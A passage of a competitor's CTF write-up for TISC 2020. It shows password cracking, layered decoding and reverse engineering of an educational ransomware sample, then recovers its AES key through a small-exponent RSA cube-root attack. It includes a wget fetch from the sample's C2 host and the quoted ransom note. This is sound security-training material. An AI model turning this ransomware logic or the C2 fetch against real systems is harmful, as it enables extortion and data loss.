Writeups for the TISC 2020 CTF organised by CSIT.

Introduction

The InfoSecurity Challenge (TISC) competition is organised by the Centre for Strategic Infocomm Technologies (CSIT), a Singapore governmental organisation and ran during the months of August and September of 2020.

The CTF consisted of unlocked challenges, in which you progressed linearly as you solved the problems. There were 6 challenges in total with the last challenge being split into two parts. Placings were ranked based on how many challenges were solved and then by how fast they were solved.

It was a surprisingly difficult but fun CTF and I placed third in the final scoreboard:

TISC Scoreboard

Stage 0 (Test Stage): Introduction

Stage 0 Description

Solution

A ‘sanity check’ challenge. I completed the form and submitted the flag.

Flag: TISC20{finished_the_form_973926492}

Stage 1: What is this thing?

Stage 1 Description

There were also some attached files:

Stage 1 Attached Files

A stack overflow post was discovered to have been a possible introduction point for how a sysadmin may have deployed the malware into the affected systems.

stackoverflowed.png

When running the script, it pulls a suspicious file down and executes it.

suspectedscript.png

The transactional diagram describes how the racket operates.

planBscheme.png

Solution

When checking the downloaded patch.sh, we find that the attackers have removed the script from their C2.

$ wget --quiet "1rd7w08tbqm52earhagr8oai976tdl7lwy07xlje4og1.ml/AnorocBoot.sh" -O -
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>Nothing to see here</title>

    <!-- import the webpage's stylesheet -->
    <link rel="stylesheet" href="/style.css">

    <!-- import the webpage's javascript file -->
    <script src="/script.js" defer></script>
  </head>
  <body>
    <h1>Hi there!</h1>

    <p>
      1rd7w08tbqm52earhagr8oai976tdl7lwy07xlje4og1.ml has been taken down. No source code for you!<br>
    </p>
  </body>
</html>

So instead, we can connect to the listed server to get some instructions on how to continue.

nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 31081


$$$$$$$$\ $$$$$$\  $$$$$$\   $$$$$$\
\__$$  __|\_$$  _|$$  __$$\ $$  __$$\
   $$ |     $$ |  $$ /  \__|$$ /  \__|
   $$ |     $$ |  \$$$$$$\  $$ |
   $$ |     $$ |   \____$$\ $$ |
   $$ |     $$ |  $$\   $$ |$$ |  $$\
   $$ |   $$$$$$\ \$$$$$$  |\$$$$$$  |
   \__|   \______| \______/  \______/

CSIT's The Infosecurity Challenge 2020
https://play.tisc.csit-events.sg/

CHALLENGE 1: What is this thing?
======================================

SUBMISSION_TOKEN? exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG

We noticed unusually network activity around the time that the user reported being ransomware-d.
There were files being sent and recieved, some of which we were unable to inspect.
Could you try to decode this?

Reminder! SAVE ANY CODE YOU WROTE / TAKE SCREENSHOTS OF YOUR WORK, THIS WILL NEED TO BE SUBMITTED IN YOUR WRITEUP!
CLARITY OF DOCUMENTATION WILL CONTRIBUTE TO A BETTER EVALUATION OF YOUR WRITEUP.

The file is hosted at http://fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg:31080/d9c8f641bd3cb1b7a9652e8d120ed9a8.zip .


Flag?

After downloading the file and attempting to unzip it, it prompts us for a password. For those following along, the file can be downloaded here.

$ unzip d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
Archive:  d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
[d9c8f641bd3cb1b7a9652e8d120ed9a8.zip] temp.mess password:

Before attempting to crack the password, we need to convert the ZIP file to a format that John the Ripper will accept:

[email protected]:~/oscp/tisc$ zip2john d9c8f641bd3cb1b7a9652e8d120ed9a8.zip  > zip.hashes
ver 2.0 d9c8f641bd3cb1b7a9652e8d120ed9a8.zip/temp.mess PKZIP Encr: cmplen=125108, decmplen=125056, crc=16B94B68
[email protected]:~/oscp/tisc$

Since the question mentioned that the password was six characters long and comprised of hexadecimal characters, we can use a mask to generate the candidates:

[email protected]:~/oscp/tisc$ john --min-len=6 --max-len=6 --mask='?h?h?h?h?h?h' ./zip.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
eff650           (d9c8f641bd3cb1b7a9652e8d120ed9a8.zip/temp.mess)
1g 0:00:00:00 DONE (2020-08-08 11:18) 25.00g/s 9011Kp/s 9011Kc/s 9011KC/s 000650..fff750
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[email protected]:~/oscp/tisc$

The password was discovered to be eff650. Unzipping the file with the password yields a bzip2 compressed blob name temp.mess.

$ unzip d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
Archive:  d9c8f641bd3cb1b7a9652e8d120ed9a8.zip
[d9c8f641bd3cb1b7a9652e8d120ed9a8.zip] temp.mess password:
  inflating: temp.mess
$ file temp.mess
temp.mess: bzip2 compressed data, block size = 900k

After analysing the file by extracting it manually through a few stages. It was discovered that there are the following types:

  1. bzip2 compressed
  2. hex encoding
  3. base64 encoding
  4. xz compressed
  5. gzip compressed
  6. zlib compressed

The full unpacking script is as follows:

import shutil
import magic
import os
import base64
import zlib
import hashlib
import json

def unpack(filename):
    # Determine type.
    try:
        typed = magic.from_file(filename)
    except Exception:
        # Problem with python2 magic
        typed = "zlib"

    # Fix up wrong types:
    if 'BS image' in typed:
        typed = 'zlib'

    new_filename = "unknown"
    out_file = "unknown"
    #print(typed)

    if "bzip2" in typed:
        new_filename = '{}b.bz2'.format(filename)
        shutil.copy(filename, new_filename)
        os.system("bzip2 -d {}".format(new_filename))
        out_file = '{}b'.format(filename)
    elif "ASCII text" in typed:
        data = open(filename, 'rb').read()
        # Determine if base64 or hexa with a dumb heuristic
        if data.lower() == data:
            # Hexa
            new_filename = '{}h'.format(filename)
            open(new_filename, 'wb').write(bytes.fromhex(data.decode("ascii")))
            out_file = new_filename
        else:
            new_filename = '{}f'.format(filename)
            open(new_filename, 'wb').write(base64.b64decode(data))
            out_file = new_filename
    elif "XZ compressed" in typed:
        new_filename = '{}x.xz'.format(filename)
        shutil.copy(filename, new_filename)
        os.system("xz -d {}".format(new_filename))
        out_file = '{}x'.format(filename)
    elif "gzip" in typed:
        new_filename = '{}g.gz'.format(filename)
        shutil.copy(filename, new_filename)
        os.system("gzip -d {}".format(new_filename))
        out_file = '{}g'.format(filename)
    elif "zlib" in typed:
        data = open(filename, 'rb').read()
        new_filename = '{}z'.format(filename)
        out_file = new_filename
        open(out_file, 'wb').write(zlib.decompress(data))
    elif 'JSON' in typed:
        data = open(filename, 'rb').read()
        print("Flag!")
        print(json.loads(data))

    return out_file


def main():
    current = 'temp.mess_'
    os.system("rm temp.mess_*")
    shutil.copy('temp.mess', 'temp.mess_')
    for i in range(200):
        next_file = unpack(current)
        #print('{} -> {}'.format(current, next_file))
        current = next_file
        if current == 'unknown':
            return


if __name__ == '__main__':
    main()

Running this yields the flag:

$ python solver.py
rm: temp.mess_*: No such file or directory
Flag!
{'anoroc': 'v1.320', 'secret': 'TISC20{q1_d06fd09ff9a27ec499df9caf42923bce}', 'desc': 'Submit this.secret to the TISC grader to complete challenge', 'constants': [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221], 'sign': 'cx-1FpeoEgqkk2HN70RCmRU'}

Submitting the flag to the server solves the challenge.

nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 31081


$$$$$$$$\ $$$$$$\  $$$$$$\   $$$$$$\
\__$$  __|\_$$  _|$$  __$$\ $$  __$$\
   $$ |     $$ |  $$ /  \__|$$ /  \__|
   $$ |     $$ |  \$$$$$$\  $$ |
   $$ |     $$ |   \____$$\ $$ |
   $$ |     $$ |  $$\   $$ |$$ |  $$\
   $$ |   $$$$$$\ \$$$$$$  |\$$$$$$  |
   \__|   \______| \______/  \______/

CSIT's The Infosecurity Challenge 2020
https://play.tisc.csit-events.sg/

CHALLENGE 1: What is this thing?
======================================

SUBMISSION_TOKEN? exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG

We noticed unusually network activity around the time that the user reported being ransomware-d.
There were files being sent and recieved, some of which we were unable to inspect.
Could you try to decode this?

Reminder! SAVE ANY CODE YOU WROTE / TAKE SCREENSHOTS OF YOUR WORK, THIS WILL NEED TO BE SUBMITTED IN YOUR WRITEUP!
CLARITY OF DOCUMENTATION WILL CONTRIBUTE TO A BETTER EVALUATION OF YOUR WRITEUP.

The file is hosted at http://fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg:31080/d9c8f641bd3cb1b7a9652e8d120ed9a8.zip .


Flag? TISC20{q1_d06fd09ff9a27ec499df9caf42923bce}

Reminder! SAVE ANY CODE YOU WROTE / TAKE SCREENSHOTS OF YOUR WORK, THIS WILL NEED TO BE SUBMITTED IN YOUR WRITEUP!
Winner Winner Vegan Dinner (emojis)
{"challenge":{"name":"STAGE 1: What is this thing?"},"id":"ckdlvon680tz80824tk9et0dn","status":"CORRECT","multiplier":1,"submittedBy":{"username":"widely_major_termite_PnPqglda"},"createdAt":"2020-08-08T16:34:19Z"}

Flag: TISC20{q1_d06fd09ff9a27ec499df9caf42923bce}

Stage 2: Find me some keys

Stage 2 Description

Solution

A file encrypted.zip is provided in the challenge description. The challenge file can be downloaded here

When extracting it a docker environment is provided:

unzip encrypted.zip
Archive:  encrypted.zip
   creating: dockerize/
  inflating: dockerize/Dockerfile
  inflating: dockerize/anorocware
   creating: dockerize/encrypted/
 extracting: dockerize/encrypted/secret_investments.db.anoroc
   creating: dockerize/encrypted/images/
  inflating: dockerize/encrypted/images/slopes.png.anoroc
  inflating: dockerize/encrypted/images/lake.jpg.anoroc
  inflating: dockerize/encrypted/images/ridge.png.anoroc
  inflating: dockerize/encrypted/images/rocks.jp2.anoroc
  inflating: dockerize/encrypted/images/rollinginthed33p.png.anoroc
  inflating: dockerize/encrypted/images/yummy.png.anoroc
   creating: dockerize/encrypted/email/
 extracting: dockerize/encrypted/email/aqec62y3.txt.anoroc
...
 extracting: dockerize/encrypted/email/_7zp3gmy.txt.anoroc
 extracting: dockerize/encrypted/keydetails-enc.txt
 extracting: dockerize/encrypted/clients.db.anoroc
  inflating: dockerize/encrypted/ransomnote-anoroc.txt

What is contained are the following pertinent files:

  1. dockerize/anorocware
  2. dockerize/encrypted/keydetails-enc.txt
  3. dockerize/encrypted/secret_investments.db.anoroc

The ransomware binary anorocware is the important resource to look at for this stage.

It is a 64-bit ELF executable.

$ file anorocware
anorocware: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Looking at the strings contained in the binary, we can discover that it is UPX packed.

$ strings -a anorocware | grep 'packed'
$Info: This file is packed with the UPX executable packer http://upx.sf.net $

Unpacking it can be performed with the upx tool.

$ upx -d anorocware
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   7406375 <-   3993332   53.92%   linux/amd64   anorocware

Unpacked 1 file.

Now this can be loaded into Ghidra or Binary Ninja and analysed. Looking at it, it appears to be a go compiled binary. For this stage, we do not need to go into detail on how it exactly works.

Since we know from the challenge description that we are looking for a Base64 encoded public key, we can easily spot the relevant portion in the code by looking for where it decodes a Base64 string.

In the excerpt of the code below, a piece of data is run through a simple main.EncryptDecrypt function. The result is passed into a encoding/base64.(*Encoding).DecodeString function.

High level decompilation excerpt of main.main

Now, we can run the binary and place a breakpoint at 0x662175 to observe what the base64 encoded string is.

$ gdb ./anorocware
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
...
gef>  br *0x662175
Breakpoint 1 at 0x662175: file /home/hjf98/Documents/CSPC2020Dev/goware/main.go, line 246.

Running the script and breaking on the breakpoint shows that there are good candidates to inspect in the stack and in the registers.

Triggering the breakpoint when running the binary

Inspecting a value on the stack yields the desired value:

gef>  x/s 0x000000c000435000
0xc000435000:	"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJRUlEQU5CZ2txaGtpRzl3MEJBUUVG
QUFPQ0JBMEFNSUlFQ0FLQ0JBRUFtOTliMnB2dHJWaVcrak4vM05GZgp3OGczNmRRUjZpSnIrY3lSZStrOFhGe
nVIVU80TE4zdGs3NnRGUzhEYmFDY1lGaXVmOEdzdWdjUm1RREVyUFpmCnFna3ZYWnB1ZmZmVGZqVEIramUvV2
k0M2J3THF0dzBXNGNYb1BXMzN1R1ZhV1pYMG9MektDL0F4Zzdrd0l0bUcKeG5uMzIxVEFqRVpnVGJMK09hTmt
jSHpmUTdVendhRXA5VVB0VDhwR1lvTkpIbFgzZmtGcTJpVnk3N3VJNGdSSwpNZjh1alRma0lISGpRN0JFemdF
Z2s4a3F4R2FTUGxJTlFzNjVQNHR2T3BpaHFwd1VWcEFqUExOQlR0OUh6MUYvCmZSK2FEc0pRUktaTk1yV1JMd
U1ZaU8yTXg5Y1pCbnd6TDlLdUZSdkhlbE83QldheVU5ZjBYT3BnL3p5YkVRT0wKdXgram1zVXNUc1Fiaks5Y0
I2N01hMjFEK1hKSHlLZ0t1UDl1MTRtVkNaZ0NCazlseWJTMWJ4ZHZGRFFQZ2t5YwpNM3o5dnV1Y0NVMUV1MkQ
wbGhGbUozRlFmWmtBWSsrWEhVcGl3dWk5Tk8zQTlVRzdhbXlYYk9TY2xGMlg5a1JxCjBDd21xT3RCUkJFV0lT
ZTVyZHpjL0FUT1AzUHFEakd3eVNYeFdaRENIOHJyZ256V3B2MkxyaVlRVG5mMmNFMEcKL2lJOFJ3allvR0xXe
mVMVlJyMWhoWjhZNXM0Ui9zUjQ5N1dlbmtSY3BPTE9rRFZnZTdNdXNUT1doNGVOaTRnbwpQbGRzaVlUcVRuZE
Exd1Y2N3IwOXVqcHA4VnZwZEx1bys0aCs3cC9wZnBYTXN4OGRBTG9tNHNma1ljSkhoT2JrCnh0NUNwTkNrVlh
oNXRzR2hlRmI3djg1R2lORnkxN3p1YWxNZGEzMkJpblBlRWJGcnFLd0QyWjRSNVFnUXVCOHUKSXdqcVNUZ05v
OVV2dmNoNmxXQ2JqOWUrODB1Z1Y0bzdqSENkLzU2Rmt1dmhDcWlJTmRaRFVVNFpCMzdoZGVsZgplRTlOYnhEa
ktHOFY3YUNkd3FKSkRZR2l6LzNqbXVDZkIvazVGa29IU0FOZ2JMRTBBNVNtazNUOHR1djhTeitmCnY0cnJQeG
1wbjhYMlNtMUZveitVMEJXelArVkxtcExubnlYa3JPSHluOGxKRmJuL1U1TldHUkxuK2V2MkNTa3cKQUkvVGZ
IQUxxVHZqcWxHUXhUVGFZN1pua241aStEMUx6dEs4Y3BTWlhkRFZvUmgrL3ZNSUVpTnVrOCsrL3M2YQpITmQ3
d3VGa1kvWjhqakoxakgvY3NGMzdtR1lBVXhwMzJuUms1d1JwL2M2ZVdaUE0rekdpYmZFbm1GVzV5VUVVClliW
DRoenpHcjVRNmYvc3lzdXpoYXlsV2kzWEN2SXJINkxCakZOdTNVSjBWSXpjSk4wa3hhQUJhWFk4SlVEWVgKdF
hVTGlwdlVPcWt0dE9xSlN4T1hXZzcyU1dLTEt2L1F2ZkRSVlhlZFVrMDY2azdSTDFva3BiTW53WWxmWWc3Sgp
tcFpaUjJDTk53Yk1rUW0yVG1yQS9NWnVkdnF0c1g5UHBrZ0pJK1pXalV3VnRHUlVUZERNeFpXeDRIM25lSml5
CjhtOHVkazQyUk4wajNuMHdWWHNXdDZRbXk3YlFzSFlYSUhVZ2tCWFl6ZHkvdStOb2RLQWpoZFZwaUpiekluY
3oKU2RvbFhpbmlLd05VTFc4VmpqUzlLVFNSd2lkcWVPa2twTmVJcWlSbldUM1RUTUFNemI1ajBqRUdGN0wzRE
9NUAo2UUlCQXc9PQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0K"
gef>

To verify that it is a public key, we can decode it:

pbpaste | base64 -d
-----BEGIN PUBLIC KEY-----
MIIEIDANBgkqhkiG9w0BAQEFAAOCBA0AMIIECAKCBAEAm99b2pvtrViW+jN/3NFf
w8g36dQR6iJr+cyRe+k8XFzuHUO4LN3tk76tFS8DbaCcYFiuf8GsugcRmQDErPZf
qgkvXZpufffTfjTB+je/Wi43bwLqtw0W4cXoPW33uGVaWZX0oLzKC/Axg7kwItmG
xnn321TAjEZgTbL+OaNkcHzfQ7UzwaEp9UPtT8pGYoNJHlX3fkFq2iVy77uI4gRK
Mf8ujTfkIHHjQ7BEzgEgk8kqxGaSPlINQs65P4tvOpihqpwUVpAjPLNBTt9Hz1F/
fR+aDsJQRKZNMrWRLuMYiO2Mx9cZBnwzL9KuFRvHelO7BWayU9f0XOpg/zybEQOL
ux+jmsUsTsQbjK9cB67Ma21D+XJHyKgKuP9u14mVCZgCBk9lybS1bxdvFDQPgkyc
M3z9vuucCU1Eu2D0lhFmJ3FQfZkAY++XHUpiwui9NO3A9UG7amyXbOSclF2X9kRq
0CwmqOtBRBEWISe5rdzc/ATOP3PqDjGwySXxWZDCH8rrgnzWpv2LriYQTnf2cE0G
/iI8RwjYoGLWzeLVRr1hhZ8Y5s4R/sR497WenkRcpOLOkDVge7MusTOWh4eNi4go
PldsiYTqTndA1wV67r09ujpp8VvpdLuo+4h+7p/pfpXMsx8dALom4sfkYcJHhObk
xt5CpNCkVXh5tsGheFb7v85GiNFy17zualMda32BinPeEbFrqKwD2Z4R5QgQuB8u
IwjqSTgNo9Uvvch6lWCbj9e+80ugV4o7jHCd/56FkuvhCqiINdZDUU4ZB37hdelf
eE9NbxDjKG8V7aCdwqJJDYGiz/3jmuCfB/k5FkoHSANgbLE0A5Smk3T8tuv8Sz+f
v4rrPxmpn8X2Sm1Foz+U0BWzP+VLmpLnnyXkrOHyn8lJFbn/U5NWGRLn+ev2CSkw
AI/TfHALqTvjqlGQxTTaY7Znkn5i+D1LztK8cpSZXdDVoRh+/vMIEiNuk8++/s6a
HNd7wuFkY/Z8jjJ1jH/csF37mGYAUxp32nRk5wRp/c6eWZPM+zGibfEnmFW5yUEU
YbX4hzzGr5Q6f/sysuzhaylWi3XCvIrH6LBjFNu3UJ0VIzcJN0kxaABaXY8JUDYX
tXULipvUOqkttOqJSxOXWg72SWKLKv/QvfDRVXedUk066k7RL1okpbMnwYlfYg7J
mpZZR2CNNwbMkQm2TmrA/MZudvqtsX9PpkgJI+ZWjUwVtGRUTdDMxZWx4H3neJiy
8m8udk42RN0j3n0wVXsWt6Qmy7bQsHYXIHUgkBXYzdy/u+NodKAjhdVpiJbzIncz
SdolXiniKwNULW8VjjS9KTSRwidqeOkkpNeIqiRnWT3TTMAMzb5j0jEGF7L3DOMP
6QIBAw==
-----END PUBLIC KEY-----

To get the flag, we can simply SHA256 the input.


printf "TISC20{%s}" $(pbpaste | shasum -a 256 | cut -d' ' -f 1)
TISC20{8eaf2d08d5715eec34be9ac4bf612e418e64da133ce8caba72b90faacd43ceee}

Flag: TISC20{8eaf2d08d5715eec34be9ac4bf612e418e64da133ce8caba72b90faacd43ceee}

Stage 3: Recover some files

Stage 3 Description

Solution

To solve this stage, we must understand the program flow. To do this, we inspect main.main.

First, a ransom note is written to a file ransomnote-anoroc.txt containing a previously computed machineid.ID().

Excerpt of main.main showing the ransomnote.txt being written

The ransom note looks like the following:


$$$$$$$$\ $$$$$$\  $$$$$$\   $$$$$$\
\__$$  __|\_$$  _|$$  __$$\ $$  __$$\
   $$ |     $$ |  $$ /  \__|$$ /  \__|
   $$ |     $$ |  \$$$$$$\  $$ |
   $$ |     $$ |   \____$$\ $$ |
   $$ |     $$ |  $$\   $$ |$$ |  $$\
   $$ |   $$$$$$\ \$$$$$$  |\$$$$$$  |
   \__|   \______| \______/  \______/

Hello Sir / Madam,

Your computer has been hax0red and your files are now to belong to me.
We use military grade cryptography code to encrypt ur filez.
Do not try anything stupid, u will lose ur beloved data.

You have 48 hours to pay 1 Ethereum (ETH) to 0xc184e8BB0c8AA7326056D21C4Badf3eE58f04af2.
Email [email protected] proof of your transaction to obtain your decryption keys.
PLEASE INCLUDE YOUR MACHINE-ID = 6d8da77f503c9a5560073c13122a903b IN YOUR EMAIL

Your move,
Anor0cW4re Team

+++++ +++++ +++++ +++++ +++++ +++++

DO NOT BE ALARMED;
DO NOT SEND ETHEREUM TO ANY ACCOUNT;
THIS IS AN EDUCATIONAL RANSOMWARE
FOR CYBER SECURITY TRAINING;

+++++ +++++ +++++ +++++ +++++ +++++

Next, the https://ifconfig.co/json URL is retrieved to get some information about the victim’s network. This is used to populate a city parameter and an ip parameter (for later).

Excerpt of main.main showing the city information being retrieved

Subsequently, two random numbers are generated: an encryption key and an encryption IV.

Excerpt of main.main showing the EncIV and EncKey being generated

Next, fields like the EncKey are written into a JSON key-value structure.

The fields written are:

  1. City
  2. EncIV
  3. EncKey
  4. IP
  5. MachineId

Excerpt of main.main showing the fields of a JSON structure being populated

After the structure is populated, the public key is decrypted, decoded, and parsed.

Excerpt of main.main showing the public key being processed

Next, the JSON fields are URL encoded.

Excerpt of main.main showing the fields of the JSON being URL encoded

The resultant JSON output is turned into a large number and an exponentiation is performed, indicative of an RSA operation.

Excerpt of main.main showing the JSON output being RSA encrypted

Next, the bytes are written to a file called keydetails-enc.txt. Note that a useful copy of this file is included with the encrypted documents that was received.

Excerpt of main.main showing RSA encrypted bytes being written

At this point, a domain generation algorithm main.QbznvaAnzrTrarengvbaNytbevguz is executed to generate the C2 domain.

Excerpt of main.main showing the DGA algorithm being called

The DGA will be discussed in the Stage 4 writeup.

A report is sent to the C2 located at the computed domain. Since, the POST will fail an unsmiley face :( will be printed.

Excerpt of main.main showing the C2 reporting

Next, the file system from the current working directory is walked with the main.visit.func1 function. This is how all of the files get encrypted.

Excerpt of main.main showing directory walk

Within the main.visit.func1 function, an AES-128 cipher is initialized with the EncKey and used to encrypt the files.

Excerpt of main.visit.func1 initializing the cipher with the EncKey

Excerpt of main.visit.func1 reading the file

Something interesting to note is that the IV is not constant for all files and the first two bytes of the IV is set to the first two bytes of the filename.

Excerpt of main.visit.func1 constructing the current IV

The cipher is set to CTR mode and the encrypted output is written to a file named filename.anoroc.

Excerpt of main.visit.func1 encrypting the file in CTR mod and writing it

Now that the logic has been understood, we can try and break the scheme. To do this, first we must inspect the public key.

$ openssl rsa -noout -text -inform PEM -in ./pub_key -pubin
Public-Key: (8192 bit)
Modulus:
    00:9b:df:5b:da:9b:ed:ad:58:96:fa:33:7f:dc:d1:
    5f:c3:c8:37:e9:d4:11:ea:22:6b:f9:cc:91:7b:e9:
    3c:5c:5c:ee:1d:43:b8:2c:dd:ed:93:be:ad:15:2f:
    03:6d:a0:9c:60:58:ae:7f:c1:ac:ba:07:11:99:00:
    c4:ac:f6:5f:aa:09:2f:5d:9a:6e:7d:f7:d3:7e:34:
...
    bf:bb:e3:68:74:a0:23:85:d5:69:88:96:f3:22:77:
    33:49:da:25:5e:29:e2:2b:03:54:2d:6f:15:8e:34:
    bd:29:34:91:c2:27:6a:78:e9:24:a4:d7:88:aa:24:
    67:59:3d:d3:4c:c0:0c:cd:be:63:d2:31:06:17:b2:
    f7:0c:e3:0f:e9
Exponent: 3 (0x3)

The modulus looks secure but the exponent is suspect. 3 is an extremely small number for an exponent. Since the modulus is rather large, there is a chance that the message is small enough to be vulnerable to the ‘cube-root attack’ where the resultant ciphertext raised to the power of 3 can simply be broken by finding the cube-root to regain the message since the modulus is not applied.

The ciphertext can be converted to hex as follows:

$ python -c 'import binascii; data = open("./dockerize/encrypted/keydetails-enc.txt", "rb").read(); print("0x" + binascii.hexlify(data).decode("utf-8"))'
0x04aca8af91f97ef198ba32c820e8868deb693f86f763d3a2879a84fa8e7af6f396107701b480e453ec6
9b7e3f72f02520f408a98c163db6c70f9902eab87c882b73c158e16be95dc4a9921fec3297586343b250f
6cf58f3512e37de84e2f3d12639bec4f88ed5e68226fad6c2e5dbdfe9b44350aaedc61015e8f28cce50a6
9c67f919f0c5d2c2c9073bf4d25afb299e65acf703880949b32f5e442e77cf527f6a8a3881ba1f94e7910
3abb9c1a1f55a4735488e05d0a41fd7feb3b7c130c2139dcc4301a55d87806e04f45ce210ecbc971bfaf7
a2ff090f39709f4025f658f7729eb1cfbef40cfce7d469d1095f60144e2f312b6493ce0cca37651890894
25a04d035cdd6a80b131b231215141ae83f2a3410fc551ca30296be4ad3f7bf4cdb1e09583f97d445150c
037f88d7ca765174f8b202b6a5f513dd9f20b430bbbbfc2309293271faac024b38cde3fc22555cd860ef7
9ae16697982e37650c933ced29879280f2301d7efcc4967dd77e668a65afbc770d46669e67678f347c5d8
5ffe05218d8ebeec470ca1d74ae8956589db43999a1643a95b0a72acf6ace052fdef8bcc63dc7ce670248
66d4e7cb421965218614a41e0789c7239733e6f97c00f1db05bff3e1283e3790a4a9ac2e6f1cfa5084555
f4412da28d7434bfa27d6b4cdf4da50889c9285c8ca0e606398bfb3b34894752667df01a28023b7297d3a
16978f4a974cf2d04088

Now, the cube root can be calculated using Sage:

from sage.crypto.util import bin_to_ascii, ascii_to_bin

c = 0x04aca8af91f97ef198ba32c820e8868deb693f86f763d3a2879a84fa8e7af6f396107701b480e45
3ec69b7e3f72f02520f408a98c163db6c70f9902eab87c882b73c158e16be95dc4a9921fec3297586343b
250f6cf58f3512e37de84e2f3d12639bec4f88ed5e68226fad6c2e5dbdfe9b44350aaedc61015e8f28cce
50a69c67f919f0c5d2c2c9073bf4d25afb299e65acf703880949b32f5e442e77cf527f6a8a3881ba1f94e
79103abb9c1a1f55a4735488e05d0a41fd7feb3b7c130c2139dcc4301a55d87806e04f45ce210ecbc971b
faf7a2ff090f39709f4025f658f7729eb1cfbef40cfce7d469d1095f60144e2f312b6493ce0cca3765189
089425a04d035cdd6a80b131b231215141ae83f2a3410fc551ca30296be4ad3f7bf4cdb1e09583f97d445
150c037f88d7ca765174f8b202b6a5f513dd9f20b430bbbbfc2309293271faac024b38cde3fc22555cd86
0ef79ae16697982e37650c933ced29879280f2301d7efcc4967dd77e668a65afbc770d46669e67678f347
c5d85ffe05218d8ebeec470ca1d74ae8956589db43999a1643a95b0a72acf6ace052fdef8bcc63dc7ce67
024866d4e7cb421965218614a41e0789c7239733e6f97c00f1db05bff3e1283e3790a4a9ac2e6f1cfa508
4555f4412da28d7434bfa27d6b4cdf4da50889c9285c8ca0e606398bfb3b34894752667df01a28023b729
7d3a16978f4a974cf2d04088
ci = Integer(c)
p = pow(ci, 1/3)
pa = p.ceil().binary()
print(bin_to_ascii("0" + pa))

The result of the output gives us EncIV and EncKey which is sufficient for decrypting the encrypted files.

City=Singapore&EncIV=%1C%9F%A4%9B%2C%9EN%AF%04%9CA%AE%02%86%03%81&EncKey=%99z%11%12%7FjD%22%93%D2%A8%EB%1D2u%04&IP=112.199.210.119&MachineId=6d8da77f503c9a5560073c13122a903b
  • EncIV: 0x1c9fa49b2c9e4eaf049c41ae02860381
  • EncKey: 0x997a11127f6a442293d2a8eb1d327504

Using this information, we can write a script with pycryptodome to decrypt arbitrary files.

from Crypto.Cipher import AES
from Crypto.Util import Counter
import sys
import os.path

IV = bytes.fromhex('1c9fa49b2c9e4eaf049c41ae02860381')
KEY = bytes.fromhex('997a11127f6a442293d2a8eb1d327504')

def main():
    filename = sys.argv[1]
    output = sys.argv[2]
    data = open(filename, 'rb').read()

    # Why you do this???
    base = os.path.basename(filename)
    new_iv = base[:2].encode('utf-8') + IV[2:]

    cipher = AES.new(KEY, AES.MODE_CTR, initial_value=new_iv, nonce=b'')
    mt_bytes = cipher.decrypt(data)
    open(output, 'wb').write(mt_bytes)

if __name__ == '__main__':
    main()

Now, we can decrypt the secret database containing the flag.

$ python decrypt.py ./encrypted/secret_investments.db.anoroc decrypted/secret_investments.db
$ sqlite3 decrypted/secret_investments.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE IF NOT EXISTS "stocks" (
	"id"	INTEGER NOT NULL UNIQUE,
	"symbol"	TEXT,
	"shares_held"	INTEGER,
	"target"	INTEGER,
	PRIMARY KEY("id" AUTOINCREMENT)
);
CREATE TABLE sqlite_sequence(name,seq);
CREATE TABLE IF NOT EXISTS "ctf_flag" (
	"id"	INTEGER NOT NULL UNIQUE,
	"comp"	TEXT,
	"flag"	TEXT,
	PRIMARY KEY("id" AUTOINCREMENT)
);
sqlite> select * from ctf_flag;
1|TSIC20|TISC20{u_decrypted_d4_fil3s_w0w_82161874619846}

sqlite>

Flag: TISC20{u_decrypted_d4_fil3s_w0w_82161874619846}

Stage 3.5 (Test Stage): Opportunity

Stage 3.5 Description

Solution

The informative description contained the flag. I submitted that.

Flag: TISC20{Okie_thanks_for_the_info}

Stage 4: Where is the C2?

Stage 4 Description

Solution

In this stage, we need to be able to arbitrarily calculate domain names for any UTC time. The connected service requests for the appropriate domain at a certain time:

$ nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 31090


$$$$$$$$\ $$$$$$\  $$$$$$\   $$$$$$\
\__$$  __|\_$$  _|$$  __$$\ $$  __$$\
   $$ |     $$ |  $$ /  \__|$$ /  \__|
   $$ |     $$ |  \$$$$$$\  $$ |
   $$ |     $$ |   \____$$\ $$ |
   $$ |     $$ |  $$\   $$ |$$ |  $$\
   $$ |   $$$$$$\ \$$$$$$  |\$$$$$$  |
   \__|   \______| \______/  \______/

CSIT's The Infosecurity Challenge 2020
https://play.tisc.csit-events.sg/

CHALLENGE 4: WHERE IS THE C2?
======================================

